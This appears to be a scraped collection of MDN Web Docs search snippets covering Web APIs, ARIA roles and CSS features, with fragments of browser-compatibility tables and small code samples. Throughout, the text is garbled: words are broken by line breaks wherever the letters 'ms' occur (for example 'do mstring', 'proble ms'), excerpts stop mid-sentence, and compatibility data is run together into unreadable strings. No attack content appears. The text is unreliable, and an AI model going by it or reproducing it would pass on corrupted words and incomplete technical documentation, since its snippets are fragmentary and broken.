do not use it anymore, use the standard constructor, transitionevent(), to create a synthetic transitionevent syntax transitionevent.inittransitionevent(typearg, canbubblearg, cancelablearg, transitionnamearg, elapsedtimearg); parameters typearg is a do
mstring identifying the specific type of transition event that occurred.
... transitionnamearg is a do
mstring containing the name of the css property associated with the transition.
TransitionEvent - Web APIs
transitionevent.propertyname read only is a do
mstring containing the name css property associated with the transition.
... transitionevent.pseudoelement read only is a do
mstring, starting with ::, containing the name of the pseudo-element the animation runs on.
TypeInfo - Web APIs
properties typeinfo.typename read only returns a do
mstring indicating the type's name.
... typeinfo.typenamespace read only returns a do
mstring indicating the type's namespace within the schema.
URL.search - Web APIs
modern browsers provide the url.searchpara
ms property to make it easy to parse out the parameters from the query string.
... syntax const searchpara
ms = object.search url.search = newsearchpara
ms value a usvstring.
URL.search - Web APIs
modern browsers provide the url.searchpara
ms property to make it easy to parse out the parameters from the query string.
... syntax const searchpara
ms = object.search url.search = newsearchpara
ms value a usvstring.
WaveShaperNode.WaveShaperNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetwaveshapernode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie no ...
... sa
msung internet android full support 6.0notes full support 6.0notes notes before sa
msung internet 7.0, the default values were not supported.legend full support full support no support ...
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsamplerparameterichrome full support 56edge full support 79firefox full support 51ie no support noopera full support 43safari no support ...
... nowebview android full support 58chrome android full support 58firefox android full support 51opera android full support 43safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no support ...
Raining rectangles - Web APIs
so we reschedule // the timeout to call drawanimation again in 17
ms.
... var randnu
ms = getrandomvector(); rect.size = [ 5 + 120 * randnu
ms[0], 5 + 120 * randnu
ms[1] ]; rect.position = [ randnu
ms[2]*(gl.drawingbufferwidth - rect.size[0]), gl.drawingbufferheight ]; rect.velocity = 1.0 + 6.0*math.random(); rect.color = getrandomvector(); gl.clearcolor(rect.color[0], rect.color[1], rect.color[2], 1.0); function getrandomvector() { return [math.rand...
WebRTC connectivity - Web APIs
ideally, candidates are udp (since it's faster, and media strea
ms are able to recover from interruptions relatively easily), but the ice standard does allow tcp candidates as well.
...there may be permissions issues or other proble
ms as well, for that matter.
Web Video Text Tracks Format (WebVTT) - Web APIs
following interface can be used to expose webvtt cues in dom api: enum autokeyword { "auto" }; enum directionsetting { "" /* horizontal */, "rl", "lr" }; enum linealignsetting { "start", "center", "end" }; enum positionalignsetting { "line-left", "center", "line-right", "auto" }; enum alignsetting { "start", "center", "end", "left", "right" }; [constructor(double starttime, double endtime, do
mstring text)] interface vttcue : texttrackcue { attribute vttregion?
... region; attribute directionsetting vertical; attribute boolean snaptolines; attribute (double or autokeyword) line; attribute linealignsetting linealign; attribute (double or autokeyword) position; attribute positionalignsetting positionalign; attribute double size; attribute alignsetting align; attribute do
mstring text; documentfragment getcueashtml(); }; vtt region interface this is the second interface in webvtt api.
Using bounded reference spaces - Web APIs
there are many uses for bounded reference spaces, including projects such as virtual paint studios or 3d construction, modeling, or sculpting syste
ms; training simulations or lesson scenarios; dance or other performance-based games; or the preview of 3d objects in the real world using augmented reality.
... note that if the underlying platform defines a fixed room-scale origin and boundary, it may initialize any uninitialized values to match that predefined information; this is not unexpected behavior for users of these platfor
ms.
Targeting and hit detection - Web APIs
instead, most applications find a way to simplify the implementation of their hit testing algorith
ms.
...some devices include infrared sensors to help range objects, and others provide powerful lidar syste
ms, which use lasers (usually infrared lasers, which can't be seen by the human eye) to determine range to objects in the world.
WebXR Device API - Web APIs
input sources may include devices such as hand controllers, optical tracking syste
ms, and other devices which are explicitly associated with the xr device.
... matrix math for the web a guide covering how matrices can be used on the web, including both for css transfor
ms and for webgl purposes, as well as to handle the positioning and orientation of objects in webxr contexts.
Web Audio API best practices - Web APIs
here we'll look at options for getting around cross-browser proble
ms.
... setting audioparam values there are two ways to manipulate audionode values, which are the
mselves objects of type audioparam interface.
Controlling multiple parameters with ConstantSourceNode - Web APIs
you simply need to create a constantsourcenode and connect it to all of the audiopara
ms whose values should be linked to always match each other.
...="volumecontrol"> </div> </div> <p>use the button above to start and stop the tones, and the volume control to change the volume of the notes e and g in the chord.</p> css .controls { width: 400px; position: relative; vertical-align: middle; height: 44px; } .button { font-size: 32px; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; -o-user-select: none; } .right { width: 50%; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } .left { width: 50%; position: absolute; left: 0; display: table-cell; vertical-al...
Using the Web Audio API - Web APIs
these special requirements are in place essentially because unexpected sounds can be annoying and intrusive, and can cause accessibility proble
ms.
... since our scripts are playing audio in response to a user input event (a click on a play button, for instance), we're in good shape and should have no proble
ms from autoplay blocking.
window.cancelIdleCallback() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcancelidlecallback experimentalchrome full support 47edge full support 79firefox full support 55 full support 55 full support 53disabled disabled from version 53: ...
...to change preferences in firefox, visit about:config.opera android full support yessafari ios no support nosa
msung internet android full support 5.0legend full support full support no support no supportexperimental.
Window.convertPointFromNodeToPage() - Web APIs
specifications this method was specified in the defunct 20 march 2009 working draft of css 2d transfor
ms module level 3.
... it is not present in the current css transfor
ms module level 1 working draft.
Window.convertPointFromPageToNode - Web APIs
specifications this method was specified in the defunct 20 march 2009 working draft of css 2d transfor
ms module level 3.
... it is not present in the current css transfor
ms module level 1 working draft.
Window.customElements - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcustomelementschrome full support 54edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exclusive): th...
...to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10.3sa
msung internet android full support 6.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
Window.event - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung interneteventchrome full support 1edge full support 12firefox full support 63notes disabled full support 63notes disabled notes this was briefly enabled by default in 65, then removed again while related compatibili...
...to change preferences in firefox, visit about:config.opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
Window.localStorage - Web APIs
the keys and the values are always in the utf-16 do
mstring format, which uses two bytes per character.
... localstorage.setitem('mycat', 'tom'); the syntax for reading the localstorage item is as follows: const cat = localstorage.getitem('mycat'); the syntax for removing the localstorage item is as follows: localstorage.removeitem('mycat'); the syntax for removing all the localstorage ite
ms is as follows: localstorage.clear(); note: please refer to the using the web storage api article for a full example.
Window.minimize() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetminimize non-standardchrome no support noedge no support nofirefox no support noie ?
... sa
msung internet android no support nolegend no support no support compatibility unknown compatibility unknownnon-standard.
Window.openDialog() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetopendialog non-standardchrome no support noedge no support nofirefox no support noie ?
... sa
msung internet android no support nolegend no support no support compatibility unknown compatibility unknownnon-standard.
Window.print() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetprintchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support ...
... nonotes notes see bug 1247609.opera android full support 10.1notes full support 10.1notes notes starting with opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.safari ios full support 1sa
msung internet android full support 1.0notes full support 1.0notes notes starting with sa
msung internet 5.0, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.legend full support full support ...
Window.prompt() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpromptchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support ...
... full support 4opera android full support 10.1notes full support 10.1notes notes starting with opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.safari ios full support 1sa
msung internet android full support 1.0notes full support 1.0notes notes starting with sa
msung internet 5.0, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.legend full support full supportsee...
Window.releaseEvents() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreleaseevents deprecatednon-standardchrome full support yesedge full support 12firefox full support yesie ?
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknownnon-standard.
Window.requestFileSystem() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetrequestfilesystem experimentalnon-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤18prefixed full support ≤18prefixed...
... full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitlegend full support full support no support no supportexperimental.
window.requestIdleCallback() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetrequestidlecallback experimentalchrome full support 47edge full support 79firefox full support 55notes full support 55notes notes enabled by default.
... no support 53 — 55notes notes implemented but disabled by default.opera android full support 34safari ios no support nosa
msung internet android full support 5.0legend full support full support no support no supportexperimental.
Window.restore() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetrestorechrome no support noedge no support nofirefox no support noie ?
... sa
msung internet android no support nolegend no support no support compatibility unknown compatibility unknown ...
Window.routeEvent() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetrouteevent deprecatednon-standardchrome no support noedge no support nofirefox no support noie ?
... sa
msung internet android no support nolegend no support no support compatibility unknown compatibility unknownnon-standard.
Window.setCursor() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsetcursor non-standardchrome no support noedge no support nofirefox no support noie ?
... sa
msung internet android no support nolegend no support no support compatibility unknown compatibility unknownnon-standard.
Window.stop() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetstopchrome full support yesedge full support 14firefox full support yesie no support noopera full support yessafari full support ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support ...
WindowEventHandlers.onhashchange - Web APIs
'location1' : 'location2'; } the hashchange event the dispatched hashchange event has the following properties: field type description newurl do
mstring the new url to which the window is navigating.
... oldurl do
mstring the previous url from which the window was navigated.
WindowOrWorkerGlobalScope.btoa() - Web APIs
you can use this method to encode data which may otherwise cause communication proble
ms, transmit it, then use the atob() method to decode the data again.
...in ter
ms of javascript strings, this means strings in which each character occupies only one byte.
WorkerNavigator.permissions - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpermissions experimentalchrome full support 43edge full support ≤79firefox no support noie ?
... nowebview android full support 43chrome android full support 43firefox android no support noopera android full support 30safari ios no support nosa
msung internet android full support 4.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
WorkerNavigator - Web APIs
navigatorlanguage.languageread only returns a do
mstring representing the language version of the browser.
... navigatorlanguage.languagesread only returns an array of do
mstrings representing the languages known to the user, in order of preference.
WritableStream.abort() - Web APIs
syntax var promise = writablestream.abort(reason); parameters reason a do
mstring providing a human-readable reason for the abort.
... // abort the stream later on, when required writablestream.abort(); specifications specification status comment strea
msthe definition of 'abort()' in that specification.
WritableStream.getWriter() - Web APIs
finally, write() and close() return promises that are processed to deal with success or failure of chunks and strea
ms.
... specifications specification status comment strea
msthe definition of 'getwriter()' in that specification.
WritableStreamDefaultController.error() - Web APIs
syntax writablestreamdefaultcontroller.error(e); parameters e a do
mstring representing the error you want future interactions to fail with.
... } }); specifications specification status comment strea
msthe definition of 'error()' in that specification.
WritableStreamDefaultController - Web APIs
the writablestreamdefaultcontroller interface of the the strea
ms api represents a controller allowing control of a writablestream's state.
... } }); specifications specification status comment strea
msthe definition of 'writablestreamdefaultcontroller' in that specification.
WritableStreamDefaultWriter.abort() - Web APIs
syntax var promise = writablestreamdefaultwriter.abort(reason); parameters reason optional a do
mstring representing a human-readable reason for the abort.
... // abort the stream when desired writer.abort.then((reason) => { console.log(reason); }) specifications specification status comment strea
msthe definition of 'abort()' in that specification.
WritableStreamDefaultWriter.close() - Web APIs
finally, write() and close() return promises that are processed to deal with success or failure of chunks and strea
ms.
... specifications specification status comment strea
msthe definition of 'close()' in that specification.
WritableStreamDefaultWriter.write() - Web APIs
finally, write() and close() return promises that are processed to deal with success or failure of chunks and strea
ms.
... specifications specification status comment strea
msthe definition of 'write()' in that specification.
XMLHttpRequest.responseType - Web APIs
text the response is a text in a do
mstring object.
...
ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer.
XMLHttpRequest.sendAsBinary() - Web APIs
you should instead simply use the send() method, which now supports binary data in various for
ms.
... syntax xmlhttprequest.sendasbinary(binarystring); parameters binarystring a do
mstring which encodes the binary content to be sent.
XPathNSResolver.lookupNamespaceURI() - Web APIs
syntax do
mstring xpathnsresolver.lookupnamespaceuri(prefix); parameters prefix a do
mstring representing the prefix to look for.
... return value a do
mstring representing the associated namespace uri or null if none is found.
XRReferenceSpace - Web APIs
for xr syste
ms that allow the user to physically move around, such as those that track movement with a real-world camera, this boundary establishes the edges of the area the user is able to move around in, whether due to physical obstacles or due to limitations of the xr hardware.
...this is useful for positioning objects while rendering, and to perform the needed transfor
ms when changing the viewer's position and/or orientation in 3d space.
XRSession.environmentBlendMode - Web APIs
the value is a do
mstring which contains one of the values defined by the xrenvironmentblendmode enumerated type.
... syntax blendmode = xrsession.environmentblendmode; value a do
mstring whose value is one of the strings found in the enumerated type xrenvironmentblendmode, defining if—and if so, how—virtual, rendered content is overlaid atop the image of the real world.
XRSession - Web APIs
visibilitystate read only a do
mstring whose value is one of those found in the xrvisibilitystate enumerated type, indicating whether or not the session's imagery is visible to the user, and if so, if it's being visible but not currently the target for user events.
...this generally corresponds to the user pressing a trigger, touchpad, or button, speaks a command, or perfor
ms a recognizable gesture.
XSLTProcessor - Web APIs
[throws] documentfragment xsltprocessor.transformtofragment(node source, document owner) transfor
ms the node source by applying the stylesheet imported using the xsltprocessor.importstylesheet() function.
... [throws] document xsltprocessor.transformtodocument(node source) transfor
ms the node source applying the stylesheet given importing using the xsltprocessor.importstylesheet() function.
ARIA annotations - Accessibility
-describedby="fruit-desc"> <form> <ul> <li><label>apple: <input type="radio" name="fruit" value="apple"></label></li> <li><label>orange: <input type="radio" name="fruit" value="orange"></label></li> <li><label>banana: <input type="radio" name="fruit" value="banana"></label></li> </ul> </form> </section> insertions and deletions a common wish in online document syste
ms like google docs is to be able to track changes, to see what reviewers or editors have suggested as changes to the text, before the managing editor or author accepts or rejects those changes.
...your own, for example: ins, [role="insertion"] { color: #0c0; text-decoration: underline; } del, [role="deletion"] { color: red; text-decoration: line-through; } ins, [role="insertion"], del, [role="deletion"] { text-decoration-thickness: 2px; background-color: #fee; padding: 2px 4px; margin: 0 1px; } comments online document applications also commonly feature commenting syste
ms, and it would be nice to have a way to semantically associate commented content and its comments.
ARIA: article role - Accessibility
it is usually set on related content ite
ms such as comments, forum posts, newspaper articles or other ite
ms grouped together on one page.
... aria-setsize in the context of a feed, indicates how many article ite
ms there are within that feed.
ARIA: feed role - Accessibility
these strea
ms can be limited or infinite, loading more content as the user scrolls.
... if the number of articles is known, set aria-setsize on the articles the
mselves.
ARIA: form role - Accessibility
description a form landmark identifies a region of content that contains a collection of ite
ms and objects that, as a whole, combine to create a form when no other named landmark is appropriate (e.g.
... inputs are not for
ms you do not need to declare role="form" on every form element (inputs, text areas, selects, etc.).
ARIA: button role - Accessibility
space activates the button following button activation, focus is set depending on the type of action the button perfor
ms.
... best practices if a link perfor
ms the action of a button, giving the element role="button" helps assistive technology users understand the function of the element.
ARIA: textbox role - Accessibility
aria-multiline attribute if aria-multiline="true" is set, the at infor
ms the user that the textbox supports multi-line input, with the expectation that enter or return will create a line break rather than submitting the form.
... javascript features all features associated with any and all properties and states must be maintained, and for
ms submission on enter or return on a single line textbox needs to be handled.
Web applications and ARIA FAQ - Accessibility
in this example, the role="progressbar" attribute infor
ms the browser that this element is actually a javascript-powered progress bar widget.
... an overview of accessible web applications and widgets accessible for
ms the w3c's wai-aria frequently asked questions webaim's accessibility of rich internet applications ...
ARIA - Accessibility
in this example, the role="progressbar" attribute infor
ms the browser that this element is actually a javascript-powered progress bar widget.
...learn how to improve accessibility of html for
ms using additional aria attributes.
Accessibility Information for Web Authors - Accessibility
(...) contrast is extremely important in web design." wheel of color: pump up the contrast, robert hess,
msdn "for this year's list of worst design mistakes, (...) i asked readers of my newsletter to nominate the usability proble
ms they found the most irritating.
...legibility proble
ms how can a web author establish easily and quickly if the background color and foreground (text) color in use in his webpages have sufficient color contrast difference and sufficient color brightness difference?
::placeholder - CSS: Cascading Style Sheets
both of these circu
mstances can interfere with successful form completion, especially for people with cognitive concerns.
... greg whitworth — how to use -
ms-high-contrast labels placeholders are not a replacement for the <label> element.
::slotted() - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet::slottedchrome full support 50edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exclusive): this fe...
...to change preferences in firefox, visit about:config.opera android full support 37safari ios full support 10sa
msung internet android full support 5.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
:checked - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:checkedchrome full support 1notes full support 1notes notes on macos, styling <option&rt; elements has no effect.edge full support 12notes full support 12notes notes on macos, styling <option&rt; elements ...
... full support 4notes notes from firefox 56, <option&rt; elements cannot be styled.opera android full support 10.1safari ios full support 3.1notes full support 3.1notes notes styling <option&rt; elements has no effect.sa
msung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.
:defined - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:definedchrome full support 54edge full support 79firefox full support 63ie no support noopera full support 41safari full support ...
... 10webview android full support 54chrome android full support 54firefox android full support 63opera android full support 41safari ios full support 10sa
msung internet android full support 6.0legend full support full support no support no support ...
:disabled - CSS: Cascading Style Sheets
ieldset> </form> css input[type="text"]:disabled { background: #ccc; } javascript // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingite
ms = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingite
ms.length; i++) { billingite
ms[i].disabled = !billingite
ms[i].disabled; } } result specifications specification status comment html living standardthe definition of ':disabled' in that specification.
... recommendation defines the semantics of html and for
ms.
:has() - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:has()chrome no support nonotes no support nonotes notes see bug 669058edge no support nonotes no support nonotes notes see bug 669058firefox no support nonotes ...
... nochrome android no support nofirefox android no support nonotes no support nonotes notes see bug 418039opera android no support nosafari ios no support nosa
msung internet android no support nolegend no support no supportsee implementation notes.see implementation notes.
:host() - CSS: Cascading Style Sheets
browser compatibility desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:host()chrome full support 54edge full support 79firefox full support 63 full support 63 no support 61 — 63disabled disabled from version 61 until version 63 (exclusive): this feat...
...to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10notes full support 10notes notes certain css selectors do not work (:host > .local-child) and styling slotted content (::slotted) is buggy.sa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
:host-context() - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:host-context()chrome full support 54edge full support 79firefox no support nonotes no support nonotes notes see bug 1082060.ie no support noopera ...
... 54chrome android full support 54firefox android no support nonotes no support nonotes notes see bug 1082060.opera android full support 41safari ios no support nosa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.
:host - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:hostchrome full support 54edge full support 79firefox full support 63 full support 63 no support 61 — 63disabled disabled from version 61 until version 63 (exclusive): this featur...
...to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10sa
msung internet android full support 6.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
:link - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:linkchrome full support 1edge full support 12firefox full support 1ie full support 3opera full support 3.5safari full support ...
... 1webview android full support 1.5chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 3.2sa
msung internet android full support 1.0legend full support full support ...
:read-only - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:read-onlychrome full support 1edge full support 13firefox full support 78 full support 78 full support 1.5prefixed prefixed implemented with the vendor prefix: -m...
... full support 18firefox android full support 4prefixed full support 4prefixed prefixed implemented with the vendor prefix: -moz-opera android full support 10.1safari ios full support 3.2sa
msung internet android full support 1.0legend full support full support no support no supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
:read-write - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:read-writechrome full support 1edge full support 13firefox full support 78 full support 78 full support 1.5prefixed prefixed implemented with the vendor prefix: -...
... full support 18firefox android full support 4prefixed full support 4prefixed prefixed implemented with the vendor prefix: -moz-opera android full support 10.1safari ios full support 3.2sa
msung internet android full support 1.0legend full support full support no support no supportrequires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
:target - CSS: Cascading Style Sheets
quisque quis neque arcu, nec gravida magna.</figcaption> </figure> </div> css /* unopened lightbox */ .lightbox { display: none; } /* opened lightbox */ .lightbox:target { position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; align-ite
ms: center; justify-content: center; } /* lightbox content */ .lightbox figcaption { width: 25rem; position: relative; padding: 1.5em; background-color: lightpink; } /* close button */ .lightbox .close { position: relative; display: block; } .lightbox .close::after { right: -1rem; top: -1rem; width: 2rem; height: 2rem; position: absolute; display: flex; z-index: 1; a...
...lign-ite
ms: center; justify-content: center; background-color: black; border-radius: 50%; color: white; content: "×"; cursor: pointer; } /* lightbox overlay */ .lightbox .close::before { left: 0; top: 0; width: 100%; height: 100%; position: fixed; background-color: rgba(0,0,0,.7); content: ""; cursor: default; } result specifications specification status comment html living standardthe definition of ':target' in that specification.
:where() - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet:where()chrome full support 72disabled full support 72disabled disabled from version 72: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...to change preferences in chrome, visit chrome://flags.firefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support nolegend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
@charset - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet@charsetchrome full support 2edge full support 12firefox full support 1.5notes full support 1.5notes notes firefox 1 supported an invalid syntax where the character encoding is not between single or double q...
... 4webview android full support 2chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 4sa
msung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.
system - CSS: Cascading Style Sheets
syntax /* keyword values */ system: cyclic; system: numeric; system: alphabetic; system: symbolic; system: additive; system: fixed; /* combined values */ system: fixed 3; system: extends decimal; this may take one of three for
ms: one of the keyword values cyclic, numeric, alphabetic, symbolic, additive, or fixed.
... additive used to represent "sign-value" numbering syste
ms, such as roman numerals, which rather than reuse digits in different positions to obtain different values, define additional digits for larger values.
Using feature queries - CSS: Cascading Style Sheets
limitations of feature queries the @supports rule tests to see if the browser can parse one or more property/value pairs, and therefore if it clai
ms to support the feature(s).
... we have a problem however, caused by the width property we used on our floated ite
ms to make them display as three columns.
Using CSS gradients - CSS: Cascading Style Sheets
<div class="radial-gradient"></div> div { width: 120px; height: 120px; } .radial-gradient { background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%); } positioning the center of the gradient you can position the center of the gradient with keyter
ms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top.
...by default, the center of the gradient is at the 50% 50% mark, with the start of the gradient facing up: <div class="simple-conic"></div> div { width: 120px; height: 120px; } .simple-conic { background: conic-gradient(red, blue); } positioning the conic center like radial gradients, you can position the center of the conic gradient with keyter
ms, percentage, or absolute lengths, with the keyword "at" <div class="conic-gradient"></div> div { width: 120px; height: 120px; } .conic-gradient { background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%); } changing the angle like radial gradients, you can position the center of the conic gradient with keyter
ms, percentage, or absolute lengths, with the keyword "a...
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
however, these properties shouldn't cause any proble
ms to non-supporting browsers due to the way that browsers simply ignore css that they do not understand.
...at some point browsers need to implement a spec to show that it works, and to discover any proble
ms that only become apparent when the spec is in use alongside other properties in the real world.
Using CSS transitions - CSS: Cascading Style Sheets
r("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); the shorthand css syntax is written as follows: div { transition: <property> <duration> <timing-function> <delay>; } examples simple example this example perfor
ms a four-second font size transition with a two-second delay between the time the user mouses over the element and the beginning of the animation effect: #delay { font-size: 14px; transition-property: font-size; transition-duration: 4s; transition-delay: 2s; } #delay:hover { font-size: 36px; } multiple animated properties example html content <body> <p>the box below combines tr...
..., if any property's value list is longer than that for transition-property, it's truncated, so if you have the following css: div { transition-property: opacity, left; transition-duration: 3s, 5s, 2s, 1s; } this gets interpreted as: div { transition-property: opacity, left; transition-duration: 3s, 5s; } using transitions when highlighting menus a common use of css is to highlight ite
ms in a menu as the user hovers the mouse cursor over them.
Card - CSS: Cascading Style Sheets
useful fallbacks or alternative methods flexbox could be used to lay out the card, in which case you should make the content area grow, and other ite
ms not grow.
... this would be a reasonable way to lay out the card, although i have a slight preference for being able to control the tracks from the container rather than needing to add rules to the ite
ms.
Using media queries - CSS: Cascading Style Sheets
because they describe devices in only very broad ter
ms, just a few are available; to target more specific attributes, use media features instead.
...this example combines two media features to restrict styles to landscape-oriented devices with a width of at least 30 e
ms: @media (min-width: 30em) and (orientation: landscape) { ...
CSS Tutorials - CSS: Cascading Style Sheets
css counters counting ite
ms and pages is an easy task in css.
... css transfor
ms transfor
ms allow you to change the position of elements by modifying their coordinate space: it allows for translating, rotating, and deforming them in the 2d or 3d spaces.
Value definition syntax - CSS: Cascading Style Sheets
bold <length> , thin this example matches the following values: bold 1em, thin bold 0, thin bold 2.5cm, thin bold 3vh, thin but not: thin 1em, bold, as the entities must be in the expressed order bold 1em thin, as the entities are mandatory; the comma, a literal, must be present bold 0.5
ms, thin, as the
ms values are not <length> double ampersand separating two or more components, by a double ampersand, &&, means that all these entities are mandatory but may appear in any order.
... exclamation point (!) the exclamation point multiplier after a group indicates that the group is required, and must produce at least one value; even if the grammar of the ite
ms within the group would otherwise allow the entire contents to be omitted, at least one component value must not be omitted.
animation-duration - CSS: Cascading Style Sheets
syntax /* single animation */ animation-duration: 6s; animation-duration: 120
ms; /* multiple animations */ animation-duration: 1.64s, 15.22s; animation-duration: 10s, 35s, 230
ms; values <time> the time that an animation takes to complete one cycle.
... this may be specified in either seconds (s) or milliseconds (
ms).
backface-visibility - CSS: Cascading Style Sheets
(this property has no effect on 2d transfor
